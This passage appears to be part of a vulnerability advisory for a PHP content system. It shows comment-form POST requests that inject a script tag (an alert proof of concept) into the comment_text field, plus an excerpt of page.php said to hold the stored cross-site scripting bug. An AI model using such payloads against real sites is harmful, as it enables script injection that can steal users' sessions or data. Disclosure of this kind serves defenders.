comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&co
mment_subject=Kiki&comment_text=Hi&_submitted=1
but we can modify the request POST in this way:
comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&co
mment_subject=Kiki&comment_text=<script>alert("lol");</script>&_submitte
d=1
---------------------------------------------------------
Example:
you can insert in the text post an XSS code or you can modify the request in this way:
comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&co
mment_subject=Kiki&comment_text=[XSS]&_submitted=1
---------------------------------------------------------
The bug is in this part of page.php
[...]
// get the comments
if ($p->get('allow_comments')) // are comments allowed?
{
// display comments
if (config('threaded_comments'))
$clist = $p->get_threaded_comments();
else
$clist = $p->get_comments();
$PAGE->assign('comments', $clist);
$PAGE->assign('num_comments', count($clist));
// now, create a comment form
$c = new Comment;
$c->set('comment_page_id', $p->id());
$PAGE->assign('comment_form', $c->form());
}
